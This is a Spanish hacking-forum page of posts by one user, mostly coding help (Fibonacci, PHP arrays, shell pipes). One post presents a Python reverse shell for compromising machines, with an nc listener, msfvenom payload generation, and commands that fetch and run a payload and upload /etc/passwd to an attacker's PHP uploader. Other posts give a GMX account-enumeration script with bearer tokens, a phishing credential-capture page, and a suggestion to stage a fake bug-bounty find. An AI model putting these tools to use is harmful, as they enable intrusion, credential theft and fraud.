Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - DtxdF

#841
Underc0de / Re:Sorteo: Tarjeta de Regalo Google Play
Diciembre 16, 2019, 01:37:09 AM
LOL, Ahora es que me estoy dando cuenta que mi código es igual a de "Rudy Uchiha". Creo que lo voy a modificar, aunque dejare el anterior.

Código: python
def fibonacci(l):
    a, b = 0, 1
    while (a < l):
        print(a, end=' ')
        (a, b) = b, a+b
    print()

if __name__ == '__main__':

    fibonacci(100)


Código: php
<?php

const LIMIT=30;

function fibonacci($n) {

if ($n <= 1) {

return $n;

} else {

return fibonacci($n - 2) + fibonacci($n - 1);

}

}

function main() {

for ($i=0; $i < LIMIT; $i++) {

print(fibonacci($i).' ');

}

}

main();

?>


Código: javascript
const LIMIT=30;

function fibonacci(n) {

if (n <= 1) {

return n;

} else {

return fibonacci(n - 2) + fibonacci(n - 1);

}

}

function main() {

for (let i=0; i < LIMIT; i++) {

console.log(fibonacci(i));

}

}


Código: c
#include <stdio.h>
#include <stdlib.h>

#define LIMIT 30

int fibonacci(int n) {
    if(n <= 1)
       return n;
    else
       return fibonacci(n - 2) + fibonacci(n - 1);
}


int main(int argc, char *argv[]) {

for (int i=0; i < LIMIT; i++) {

printf("%d ", fibonacci(i));
fflush(stdout);

}

return EXIT_SUCCESS;

}


~ DtxdF
#842
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login lo que dice @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login es cierto.

Aunque para ayudarte, yo diria algo parecido a lo que dice @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Es mejor que pruebes con Wifislax y leas los scripts que utilices, veras que aprenderas mucho más que buscando tutoriales con comandos sin explicaciones profundas.

~ DtxdF
#843
Dudas y pedidos generales / Re:Checkear emails validos
Diciembre 15, 2019, 08:48:11 AM
Hola @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

La verdad, vi cuando usted publico el último mensaje a los segundos y sin dudarlo fui a responder, escribiendo, pare y me pregunte: "¿El servicio no usa una API?", lo digo porque el que válida la existencia de una dirección en tiempo real debe estar implicado "WebSockets" o "Ajax".

Pues sí, así es, utiliza Ajax para hacerlo y de hecho, la dirección URL es la misma que usted puso al principio "You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Lo busqué depurando un poco, pero tuve algunos problemas y aquí mis conjeturas.

Al depurar observe que la página está diseñada para hacer una petición Ajax a la dirección anteriormente mostrada, posteriormente la API se comportaria según los datos enviados. Los que yo envié en esa sesión son:

Encabezados:

Código: python
headers = {

    'User-Agent':'Mozilla/5.0 (X11; Linux i686; rv:71.0) Gecko/20100101 Firefox/71.0',
    'Accept':'application/json, text/plain, */*',
    'Accept-Language':'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
    'Authorization':'Bearer qXeyJhbGciOiJIUzI1NiJ9.eyJjdCI6Ikd2VWgyMVh2NEZEdmY2dnZhNWpLM09scnlpd2dNa01FaXZoWmRuNkduXy0xeGpiaUlEb1k0eXI1VE1DYjBfQTdMYy1rQ2xqZnYxR1lsQ20wc3ZWN0FIRXNOUFVZbEdnekw1ZEREYlpHSlRqSTlhZUxuZXZpVUwtaXc1QVpZZ0NkSGlwckphcDRpOXlSUnFtYU1GWVhvVkozdG01M0Y0aE5JVVF3bV9ZWnJaMCIsInNjb3BlIjoicmVnaXN0cmF0aW9uIiwia2lkIjoiNWFmZjhlMTciLCJleHAiOjE1NzYyOTQ5OTQyNDgsIml2IjoicWdXOVBjekM1eThKWW0tU2dURGs0ZyIsImlhdCI6MTU3NjI4Nzc5NDI0OCwidmVyc2lvbiI6Mn0.L7UNHdDSelRBclCp8FPqJd3kPadDA4K5C2uoGe9b-c4',
    'X-UI-APP':'@umreg/registration-app2/5.9.1',
    'X-CCGUID':'56c2cfb3-789d-4a38-afc2-0e49ffe318d6',
    'X-REQUEST-ID':'1e58a517-37e6-4e6f-961b-fa1f8aa2e9e4',
    'Content-Type':'application/json',
    'Origin':'https://signup.gmx.com',
    'Connection':'keep-alive',
    'Referer':'https://signup.gmx.com/',

}


Datos por el método POST:

Código: python
data = {
       
    "emailAddress":"[email protected]",
    "countryCode":"US",
    "suggestionProducts":["gmxcomFree"],
    "maxResultCountPerProduct":"10",
    "mdhMaxResultCount":"5",
    "requestedEmailAddressProduct":"gmxcomFree"

}


Mientras que en CURL sería un poco diferente:

Código: bash
curl 'https://onereg-email-suggest.gmx.com/email-alias/availability' -H 'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:71.0) Gecko/20100101 Firefox/71.0' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'Authorization: Bearer qXeyJhbGciOiJIUzI1NiJ9.eyJjdCI6Ikd2VWgyMVh2NEZEdmY2dnZhNWpLM09scnlpd2dNa01FaXZoWmRuNkduXy0xeGpiaUlEb1k0eXI1VE1DYjBfQTdMYy1rQ2xqZnYxR1lsQ20wc3ZWN0FIRXNOUFVZbEdnekw1ZEREYlpHSlRqSTlhZUxuZXZpVUwtaXc1QVpZZ0NkSGlwckphcDRpOXlSUnFtYU1GWVhvVkozdG01M0Y0aE5JVVF3bV9ZWnJaMCIsInNjb3BlIjoicmVnaXN0cmF0aW9uIiwia2lkIjoiNWFmZjhlMTciLCJleHAiOjE1NzYyOTQ5OTQyNDgsIml2IjoicWdXOVBjekM1eThKWW0tU2dURGs0ZyIsImlhdCI6MTU3NjI4Nzc5NDI0OCwidmVyc2lvbiI6Mn0.L7UNHdDSelRBclCp8FPqJd3kPadDA4K5C2uoGe9b-c4' -H 'X-UI-APP: @umreg/registration-app2/5.9.1' -H 'X-CCGUID: 56c2cfb3-789d-4a38-afc2-0e49ffe318d6' -H 'X-REQUEST-ID: 1e58a517-37e6-4e6f-961b-fa1f8aa2e9e4' -H 'Content-Type: application/json' -H 'Origin: https://signup.gmx.com' -H 'Connection: keep-alive' -H 'Referer: https://signup.gmx.com/' --data '{"emailAddress":"[email protected]","countryCode":"US","suggestionProducts":["gmxcomFree"],"maxResultCountPerProduct":"10","mdhMaxResultCount":"5","requestedEmailAddressProduct":"gmxcomFree"}'


Tuve algunos problemas no sé sí es que me bloquearon o es mis velocidades de conexión.

Alternativamente a la explicacion he creado un pequeño script en bash:

Código: bash
#!/usr/bin/env bash

declare -a params=($*)
declare -x email;

if [ ${#params[@]} -ne 1 ];then

echo -e "Sintaxis: ${params[0]} <Dirección de correo electrónico>"
exit 1

else

email=${params[0]}

fi

echo -e "Primera Petición:"

curl 'https://onereg-email-suggest.gmx.com/email-alias/availability' -X OPTIONS -H 'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:71.0) Gecko/20100101 Firefox/71.0' -H 'Accept: */*' -H 'Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'Access-Control-Request-Method: POST' -H 'Access-Control-Request-Headers: authorization,content-type,x-ccguid,x-request-id,x-ui-app' -H 'Referer: https://signup.gmx.com/' -H 'Origin: https://signup.gmx.com' -H 'Connection: keep-alive' -i

echo -e "Segunda Petición:"

curl 'https://onereg-email-suggest.gmx.com/email-alias/availability' -H 'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:71.0) Gecko/20100101 Firefox/71.0' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'Authorization: Bearer qXeyJhbGciOiJIUzI1NiJ9.eyJjdCI6ImZhN0NOQlRlQkgtOWg4NmtMTndJbXB6ZXJYX0hlcElTNjJVWEVXQ1ppNjVnSDdnZ0s2YWpxdkt2dTdzVkNPbUMwc3pGRkVTVEI0Y01hNkdfYnFUekNGa2JXUFVtRjVHMGJob1ljaFhLLXl3OUZVcmVpMzFRNVlqdUgxMFlrX09KQTR4dExlQmY4R2k0TUlzMU9CRkRGckxHUlAzLVJMT2FFRVJuTjlVVG8zbyIsInNjb3BlIjoicmVnaXN0cmF0aW9uIiwia2lkIjoiNzllZjg4YTkiLCJleHAiOjE1NzY0MTUzNDY2NTYsIml2IjoiNjVCTmJlWWw1MWVhU041VEpROTdlUSIsImlhdCI6MTU3NjQwODE0NjY1NiwidmVyc2lvbiI6Mn0.CWcOW0NVyUKpJG0cM0rMjAxewJh6LatdTXo9Vj0uO7Y' -H 'X-UI-APP: @umreg/registration-app2/5.9.1' -H 'X-CCGUID: b0846f29-1527-4142-bb51-600d2864f070' -H 'X-REQUEST-ID: 40adec1b-bd05-4920-b74f-9ecf198b17f1' -H 'Content-Type: application/json' -H 'Origin: https://signup.gmx.com' -H 'Connection: keep-alive' -H 'Referer: https://signup.gmx.com/' --data '{"emailAddress":"'$email'","countryCode":"US","suggestionProducts":["gmxcomFree"],"maxResultCountPerProduct":"10","mdhMaxResultCount":"5","requestedEmailAddressProduct":"gmxcomFree"}' -i


OJO: No sé cuánto dure la funcionalidad del script, ya que hay que cambiar algunos parámetros y no he hecho muchas pruebas, cómo le dije por mis conexiones nefastas.

El modo de ejecución es el siguiente: bash <nombre del script>.sh <dirección del correo electrónico>

Ejemplo:

Código: bash
bash GMXXXChecker.sh [email protected]


La salida seria:

Código: text
Primera Petición:
HTTP/1.1 200 OK
Date: Sun, 15 Dec 2019 11:39:34 GMT
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains
Access-Control-Allow-Origin: https://signup.gmx.com
Access-Control-Allow-Credentials: true
Vary: Origin
Access-Control-Allow-Methods: HEAD, POST, GET, OPTIONS
Access-Control-Allow-Headers: authorization,content-type,x-ccguid,x-request-id,x-ui-app
Content-Length: 0
Connection: close

Segunda Petición:
HTTP/1.1 200 OK
Date: Sun, 15 Dec 2019 11:39:47 GMT
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://signup.gmx.com
Vary: Origin
X-UI-VERSION: 2.5.25/2.5.25
X-UI-PROVIDED-IDENTITY: [email protected]
Content-MD5: k3V8C6dWKPHVMwlgVDCKpw==
cache-control: no-cache
X-REQUEST-ID: 40adec1b-bd05-4920-b74f-9ecf198b17f1
X-Content-Type-Options: nosniff
Content-Length: 292
Connection: close
Content-Type: application/json;charset=utf-8

{"requestedEmailAddress":"[email protected]","emailAddressAvailable":false,"suggestedEmailAddresses":{"gmxcomFree":["[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]","[email protected]"]},"mdhSuggestions":[]}


Me preocupa el hecho de que un atacante pueda confirmar con una lista de direcciones sí existen o no en este servicio  :(, pero creo que lo que hice podria cambiar al servicio (creo); También eso solucionaria el problema de @xne7esx, pero igual no se fie del script hay que cambiar algunas cosas manualmente por cada sesión y no sé sí funcione cuando usted lo pruebe, pero yo le recomiendo que aprenda Python y Selenium.

~ DtxdF
#844
Hacking / Miindeath: Una shell inversa minimalista :)
Diciembre 14, 2019, 03:02:03 PM
Miindeath

- Miindeath (Siglas de MInImalist Death). Es una shell inversa escrita en Python ( 3 ). que trata de ser lo más simple posible para lograr comprometer una máquina.

Instalación

No requiere librerías externas

Código: bash
git clone https://github.com/DtxdF/Miindeath.git
cd Miindeath


Modo de ejecución

Código: bash
editor miindeath.py # Nos vamos a las lineas 54-77 y configuramos a nuestro gusto


Ejemplo:

Código: python
...
class config(object):

    RHOST = '127.0.0.1'
    RPORT = 4444
    LIMIT = 0 # 0 Es infinito
    #timeout = 180 # 3 minutos
    # Los bufers de red
    RECV = 1024
    SEND = 1024
    HEADERS = {
           
        'User-Agent':'Hi!, My Name is DtxdF :)'
           
    }
   
    # Claves de los valores POST
    FILENAME = 'filename' # El nombre del archivo
    FILECONTENT = 'filecontent' # El contenido del archivo

    UNIT_SEP = '.AND.' # Cómo si fuera "bash" o una shell
                       # cualquiera, para ejecutar varios
                       # comandos internos.
    SLEEP = 15
    RECONNECT = True # Reconectar sí hay una desconexión, doh.
...


Es fácil deducir qué es cada cosa, pero para simplificar la explicación, sólo cambiemos "RHOST" y "RPORT" a los valores correspondientes.

Atacando:

Código: bash
# Victima:
$ ./miindeath # (En caso que se haya compilado a un ejecutable) o python3 miindeath.py
...
# Atacante:
$ nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 32974
(5857): [email protected]:/home/dtxdf/tmp$ shell whoami
root
...


Subiendo y Descargando archivos:

El atacante tiene que tener listo un servidor cualquiera para subir y bajar archivos.

En el caso de la bajada de archivos:


Código: python
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...


También podria usar Apache (o cualquier otro), pero para hacer una simple demostración ...

Para ser más malévolos, usemos Metasploit O:) ...


Código: bash
msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=4445 -o script.py
No platform was selected, choosing Msf::Module::Platform::Python from the payload
No Arch selected, selecting Arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 446 bytes
Saved as: script.py


En el caso de la subida:

Creamos un simple uploader en PHP (uploader.php) y lo subimos a nuestro servidor con PHP instalado (Aunque podriamos hacer "php -S 0.0.0.0:8081")


Código: php
<?php

if (isset($_POST['filename'])&&isset($_POST['filecontent'])) {

fwrite(fopen(basename($_POST['filename']), 'wb'), $_POST['filecontent']);

}

?>


En la configuración pueden cambiar los nombres de los parámetros POST

Ahora en la shell para descargar:


Código: bash
(5857): [email protected]:/home/dtxdf/tmp$ download http://localhost:8080/script.py /tmp/payload.py
Guardado => /tmp/payload.py


Ahora sólo lo ejecutamos y tenemos una mejor shell con poderes.

Y por último, para subir:


Código: bash
(5857): [email protected]:/home/dtxdf/tmp$ upload http://localhost:8081/uploader.php /etc/passwd
/etc/passwd, fue subido correctamente


:)

Notas:

Aunque sea una simple conexión entre sockets (TCP), la subida y bajada de archivos usa HTTP, simplemente porque es más sencillo para un atacante descargar/subir archivos de cualquier servidor público :)

Repositorio: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

~ DtxdF
#845
Dudas y pedidos generales / Re:Checkear emails validos
Diciembre 13, 2019, 07:52:56 PM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

CitarAhora entiendo, entonces esto ocurre ya que el codigo no sigue las reglas estandars del servicio...

No, como le dije, el código está bien, es el servicio que no está en función; el motivo es desconocido.

CitarHe probado los otros dos codigos y me imprime: Sintaxis: {} <Email a verificar...

Use el último código del último comentario, este se adapta a GMX. Un ejemplo de su uso:

Código: bash
python3 <nombre del script>.py [email protected]


No es muy diferente al segundo código del último comentario, pero verifica que la parte local ( <parte local>@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.com ), sea más de tres caracteres y además verifica que sea una dirección de correo electrónico que se acerque al estándar.

Ha sido un placer ayudarle.

~ DtxdF
#846
Dudas y pedidos generales / Re:Checkear emails validos
Diciembre 13, 2019, 12:41:04 PM
Solid Water, ¿Le está pidiendo credenciales?, traté de hacerlo desde el navegador con los mismos valores en los encabezados que usó en C#, porque 401 es que requiere autenticación.

PD: Sí puede, deje el código

~ DtxdF
#847
Dudas y pedidos generales / Re:Checkear emails validos
Diciembre 13, 2019, 11:33:04 AM
CaraCOLES, me falto mencionar a los métodos.

Lo probé siguiendo los dos métodos, dá el mismo resultado "403" cómo estado y el cuerpo vacio :/

~ DtxdF
#848
Hacking / Re:HashCobra - Herramienta para descifrar hash
Diciembre 13, 2019, 11:20:14 AM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muy buena herramienta y soporta muchos algoritmos, sin duda la probaré y la leeré  :D

+1

~ DtxdF
#849
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

No tienes ni idea que significan esos 44 caracteres que escribiste, son de muchisimo apoyo, muchas gracias  ;D ;D ;D

Ya vendra muchisimo más ...

~ DtxdF
#850
Dudas y pedidos generales / Re:Checkear emails validos
Diciembre 13, 2019, 08:26:26 AM
@xne7esk

Bueno, no he visto si es o no una API, sí me dice donde se entero de su existencia, mejor, ya que mayormente esas APIs tienen documentación.

Respecto al código, funciona perfecto, a lo que me refiero que no está del todo bien, es la respuesta que le dá el servidor. Ejecute este código, verá que ahora se muestra tal cual la respuesta y el código de estado:

Código: python
# Notas:
#  Elimine, muchas cosas; cómo la librería json, no está usandola, igualmente que otras librerias.

import requests # La libreria 3:-)

arg = open("email.json", "r")
url = 'https://onereg-email-suggest.gmx.com/email-alias/availability'

for line in arg:
   
    email = line.strip()
    http = requests.get( url, data={('nld{}@gmx.com'.format(email)).encode()}) # Sí va a enviar una petición por el metodo "GET",
                                                                               # pero en caso de qué no, sólo cambie "get" por "post".
                                                                               # Ejemplo:
                                                                               #   >>> requests.post(...)
    content = http.text

    print("Respuesta: {}".format(repr(content)))
    print("Código de Estado: {}".format(http.status_code))

    if "This choice of email address has already been assigned" in content:
            print("Not available")
            break
    else:
         print("Available")


CitarA que te refieres aqui? cambiar el codigo para poder introducir los datos de otra forma? y como se podria hacer eso?

Me refiero a que siga el estándar o las reglas para describir un correo electrónico válido. Cómo pueden ser:


  • La parte local no puede exceder los 64 caracteres.
  • La parte del dominio no puede ser más de 255 caracteres.
  • Caracteres cómo: letras acentuadas, caracteres de control (CTRL + tecla del teclado), los signos especiales como ()<>@,;:"[]ç%& y los espacios

A lo que me refiero con la parte local es antes del arroba (@) y la parte del dominio después de éste; sumando todo, le dá una longitud de 319 + el arroba 320.

Puede ver mucha más información en los "RFC".

PD: Algunos servicios no siguen del todo estos estandares.

Siguiendo todo lo dicho anteriormente, puede verificarlo con expresiones regulares; en python se utiliza la librería "re".

Ejemplo:

Código: python
import re
import sys

regex = "^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$"
argv = sys.argv[1:]

if (len(argv) >= 1):

    if (re.match(regex, argv[0])):

        print("¡Válido!")
        sys.exit(0)

    else:
       
        print("Inválido ...")
        sys.exit(1)

else:

    print("Sintaxis: {} <Email a verificar>".format(sys.argv[0]))
    sys.exit(1)


El pedazo de código usaria expresiones regulares para verificar una dirección de correo electrónico siguiendo los estandares, pero cómo le dije antes, hay veces en que los servicios se salen un poco de lo correcto; cómo gmx que exigé 3 caracteres minimos para parte local.

Así es cómo sería el código para verificar lo que usted desea:

Código: python
import re
import sys

regex = "^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$"
argv = sys.argv[1:]

if (len(argv) >= 1):

    if (re.match(regex, argv[0])):

        if (len(argv[0].split("@")[0]) >= 3):

            print("¡Válido!")
            sys.exit(0)

        else:

            print("No es válido para GMX ...")

    else:
       
        print("Inválido ...")
        sys.exit(1)

else:

    print("Sintaxis: {} <Email a verificar>".format(sys.argv[0]))
    sys.exit(1)


Espero le sirva  ;) ...

~ DtxdF
#851
Dudas y pedidos generales / Re:Checkear emails validos
Diciembre 12, 2019, 11:50:18 PM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Ok. Disculpe, me falto una cosa.

Vamos por partes.

Primero me falto incluir el método ".encode( )" en el envío de los datos. Aquí está el código modificado:

Código: python
# Notas:
#  Elimine, muchas cosas; cómo la librería json, no está usandola, igualmente que otras librerias.

import requests # La libreria 3:-)

arg = open("email.json", "r")
url = 'https://onereg-email-suggest.gmx.com/email-alias/availability'

for line in arg:
   
    email = line.strip()
    http = requests.get( url, data={('nld{}@gmx.com'.format(email)).encode()}) # Sí va a enviar una petición por el metodo "GET",
                                                                               # pero en caso de qué no, sólo cambie "get" por "post".
                                                                               # Ejemplo:
                                                                               #   >>> requests.post(...)
    content = http.text

    if "This choice of email address has already been assigned" in content:
            print("Not available")
            break
    else:
         print("Available")



La salida sería:

Código: bash
python3 test.py
Available


PD: Ahora sólo funciona para Python 3, Python 2 me está generando un error con el paquete «pyssl»

Segundo, ésta es la forma en que se instala "Pip":

Espero esté usando un sistema operativo *nix, porque lo haré desde uno:

Código: bash
sudo apt-get install python3-pip


Eso instalaría "Pip" para Python 3 usando "apt-get" (El gestor de paquetes).

También puede optar por hacerlo con el mismo Python, pero esta vez descargaremos una utilidad llamada "get-pip". Puede encontrarla, así como su forma de instalación en: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Actualizado:

OJO: Quiero aclarar (cómo desde un principio), que el código de estado es "403" (No tiene permiso para ingresar a este recurso) y el contenido del cuerpo está vacio. Por lo tanto siempre le dira "Available" ¿Por qué?, porque en el mensaje que usted coloca «This choice of email address has already been assigned» contiene espacios y al compararlo con una cadena vacia, siempre le dará «False». Creo que esa API (Sí es que es una), no está en función; es mejor que usé expresiones regulares siguiendo el estándar para las direcciones de correos electrónicos.

~ DtxdF
#852
Dudas y pedidos generales / Re:Checkear emails validos
Diciembre 12, 2019, 02:14:48 PM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Es requests con s te lo dije mal, si mira el link.

Fijate si no tenes que instalar algo.

Saludos,

Exacto, lo que se refiere "Solid Water", es la librería "requests", que puede instalar de la siguiente forma:

Python 2:

Código: bash
python -m pip install requests


Python 3:

Código: bash
python3 -m pip install requests


¿Cómo se usa?

De la siguiente forma:

Código: python
# -*- coding: UTF-8 -*-
# Notas:
#  Elimine, muchas cosas; cómo la librería json, no está usandola, igualmente que otras librerias.
#  Sí va quiere descodificar
#  Coloque la codificación UTF-8 en la primera linea, si es que va a ejecutar el script en Python 2

import requests # La libreria 3:-)

arg = open('email.json', 'r')
url = 'https://onereg-email-suggest.gmx.com/email-alias/availability'

for line in arg:
   
    email = line.strip()
    http = requests.get( url, data={'nld{}@gmx.com'.format(email)} ) # Sí va a enviar una petición por el metodo "GET",
                                                                     # pero en caso de qué no, sólo cambie "get" por "post".
                                                                     # Ejemplo:
                                                                     #   >>> requests.post(...)
    content = http.text # Lo cambio a text para evitar una incompatibilidad con Python ( 3 )

    if "This choice of email address has already been assigned" in content:
            print("Not available")
            break
    else:
         print("Available")


Pude notar, que sea cual sea el método que se utilice, siempre va a dar el código de estado "403".

~ DtxdF
#853
Hola @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, lo que le voy a decir sólo es una opinión y pienso que deberia escuchar una opinión de alguien que sea profesional y tenga más experiencia que yo.

Estamos en un problema, sí la empresa no realiza ninguna recompensa por estos actos, ufff... yo le diria que trate de hablar con alguien que sea de mucha confianza (especialmente sí está en su mismo sector o si hablan el mismo lenguaje, por así decirlo) sobre la vulnerabilidad, aunque siguiendo algo un poco más de fantasia y de hollywood, podria hablar con un colega (igualmente de confianza) para que hagan programas cómo los de grandes empresas cómo 'Facebook', pero finjan que no ha pasado nada y ¡pum!, de repente usted consigue la vulnerabilidad por "casualidad" y recibe su recompensa.

Son ideas locas, pero espero que alguien en el foro con experiencia lo ayude  :)

~ DtxdF
#854
C / C++ / Calcular el número E
Diciembre 11, 2019, 12:28:50 PM
¡Hola!. Estoy un poco aburrido y busqué la formula para calcular el número "E"; sí quieren ejecuten y compren algunas cotufas mientras miran cómo se genera  :D

Código: c
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {

long double n=1;

while (1) {

printf("\033[2J\033[1f");
printf("e: %.52f", pow(1+1/n, n));
fflush(stdout);

n += 1.0;

sleep(0.1);

}

return EXIT_SUCCESS;

}


~ DtxdF
#855
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Este es una que encontre por la red: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Hay miles de tutoriales, guias o lo que sea, explicando el proceso, pero nadie o muy pocos explican el funcionamiento, por eso es mejor que aprenda PHP y HTTP

Una pequeña explicación sería:

Un atacante clonaría el código fuente de la página que desee atacar, pero centrandose en el robo de credenciales, por lo tanto lo hará al panel de inicio de sesión.

Código: html5
<html lang="es">

<head>

<title>Soy una página de pruebas</title>
<meta charset="UTF-8">

</head>

<body>

<h1>Iniciar Sesión</h1>

<form action="login.php" method="POST">

<input type="username" name="username" placeholder="Ingrese su nombre de usuario">
<input type="password" name="password" placeholder="Ingrese su contraseña">
<input type="submit">

</form>

</body>

</html>


Supongamos ese sencillo código HTML.

Una vez que el atacante haya copiado el código fuente, tiene que verificar que datos se enviaran cuando se presione el boton "enviar", que son "username" y "password" (lo puede ver en la linea 16 y 17 del código HTML); ahora crea otro archivo que guarde las credenciales obtenidas:

Código: php
<?php

print("<h1>Credenciales obtenidas:</h1>"."\n");
print("<h2>Nombre de usuario: </h2>");
print($_POST['username']);
print("<h2>Contraseña: </h2>");
print($_POST['password']);

?>


En este caso como es una prueba, yo no guardaré los datos, al contrario, los mostraré y se puede dar cuenta que para manipular los datos POST por PHP es cómo un diccionario (vea linea 5 y 7), dónde se coloca la variable "$_POST" y entre corchetes "username" y "password", que son las mismas claves que están en el código HTML.

Aunque repito, es mejor que aprenda PHP y HTTP.

~ DtxdF
#856
@IRNNN

Esta página es de mucha utilidad: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

~ DtxdF
#857
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

¡Hola!.

No, no es un problema y mucho menos setoolkit utiliza apache.

Puede ver en la linea 597 en el archivo "/usr/share/set/src/core/setcore.py" donde empieza la magia.

Sobre "/root/.set/reports". Setoolkit almacena en ese directorio los reportes o básicamente los datos obtenidos durante el ataque, es creado cuando presionas "CTRL-C" parando además el servidor, en cambió "/root/.set/web_clone" es donde se guarda el sitio clonado.

No usé setoolkit para empezar, empiece con PHP si desea saber cómo son estos ataques, aunque también puede usar otro que le permita interactuar con datos HTTP por medio de un servidor (cómo Python), pero con PHP es cómo el "entándar" para hacer esto, jeje.

Espero le sirva  ;)

~ DtxdF
#858
¡Hola!.

Justamente hace algunos días una compañera del foro hizo un You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Loginsobre las tuberias en Linux.

Aunque explicándole un poco de lo que dicen los compañeros abajo. Consideremos el siguiente comando:

Código: bash
crunch 1 2 12345


Todo perfecto, crunch es una increíble herramienta para generar contraseñas, pero ¿Que hago con la sálida?. Bueno ya sabrá o por lo menos habra deducido, puede redireccionar la sálida, que viene siendo el resultado del comando introducido, osea:

Código: text
1
2
3
4
5
11
12
13
14
15
21
22
23
24
25
31
32
33
34
35
41
42
43
44
45
51
52
53
54
55


De hecho lo pegado arriba, lo hize de la siguiente manera:

Código: bash
crunch 1 2 12345 | xclip -selection clipboard


Explicando un poco más profundo, un programa pudiera hacer lo siguiente:

Código: c
#include <stdio.h>

int main(void) {

char buff[100];

while (fgets(buff, 100, stdin) != 0) {

fputs(buff, stdout);

}

return 0;

}


Sí usted ejecuta el código "una vez compilado", de la siguiente manera:

Código: bash
gcc -o test test.c
./test


Se quedaria esperando a que escriba, pero para hacerlo más interesante, hagalo usando tuberias ( | ):

Código: bash
echo "Hello Friend." | ./test


Bien, ahora todo depende de la herramienta que esté usando, ya que tiene que "esperar" a que se envien datos por una tuberia. Por ejemplo, usando esta herramienta, llamada "aircrack-ng", podriamos hacer:

Código: bash
crunch <Parámetros> | aircrack-ng <Parámetros>


Espero le sea de ayuda  ;)

~ DtxdF
#859
Disculpa por mi mal análisis, pero me retracto indicándole cómo hacerlo.

Tiene que crear un archivo en texto plano con el logo que desee y guardarlo en la siguiente ruta: ~/.msf4/logos/

Espero lo ayudé  ;)

~ DtxdF
#860
Dudas y pedidos generales / Re:Undefined offset: 1 [PHP]
Diciembre 08, 2019, 06:32:28 PM
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

¡Hola!.

¿Estás tratando de verificar una clave de un diccionario?. Sí es así, creo que esto te podría servir, no es lo mejor, pero bueno...

Código: php
<?php

$diccionary = [
"clave" => "valor",
"clave1" => "valor1",
"clave2" => "valor2"
];

$verificar = ["clave", "clave1", "clave2", "clave3"];

for ($i=0;$i<count($verificar);$i++) {

$verify = $verificar[$i];

if (!(isset($diccionary[$verify]))) {

print($verify.", no está definido."."\n");
}

}

?>


Lo único que tienes que adaptarlo a tu código, aunque podrias hacerlo mejor  :).

Espero te ayude, no tengas dudas en seguir preguntando...

Edito:

Leyendo denuebo su duda, creo que lo que desea hacer es verificar sí existe el indíce de un array en una clave.

Esto lo hice desde la linea de comandos "php -a":

Código: bash
$array = [1,2,3];
var_dump(array_key_exists(0124, $array)); // devuelve 'false'
var_dump(array_key_exists(1, $array)); // devuelve 'true'


Igualmente puedes hacerlo remplazando los numeros, por una clave, en caso de que sea un diccionario anidado.

~ DtxdF